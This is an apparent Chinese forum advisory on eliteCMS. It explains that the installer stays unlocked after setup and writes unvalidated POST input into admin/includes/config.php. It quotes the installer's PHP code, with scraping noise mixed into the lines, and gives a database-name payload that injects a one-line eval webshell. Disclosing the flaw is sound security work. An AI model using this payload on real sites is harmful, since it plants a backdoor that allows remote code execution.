eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
# c9 C) R3 r3 O% o/ Y    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
/ U  V0 }4 C! j; D  G! t/ t...略...
. F2 g% F/ N( _- D+ @! l; K# a    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
6 H1 b. F8 e2 ~( k/ c; A    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
1 F8 N$ F  U; @% k" a    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
/ a# O, B; y0 D) ?& ~, j    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
9 t/ P9 J$ M& T" i    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
9 y4 \% K- r, `( X* |    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
4 D+ Z6 G) U7 U* P7 S7 H- ~    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
- {( ]0 Z+ ]2 `. c; j    $write .= "?>\n";
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- f) F& E' W4 c" m    $writer = fopen($file, 'w');
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在看代码：
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$ z' q# u! h  l$ }$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
( n; A/ z% q+ O. H' r+ x$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$ s% \& D; C  N4 l8 s. q9 a7 ]$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

* O$ ?; \+ h! j# |0 U取值未作任何验证
如果将数据库名POST数据：
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; }1 K7 j' h, S"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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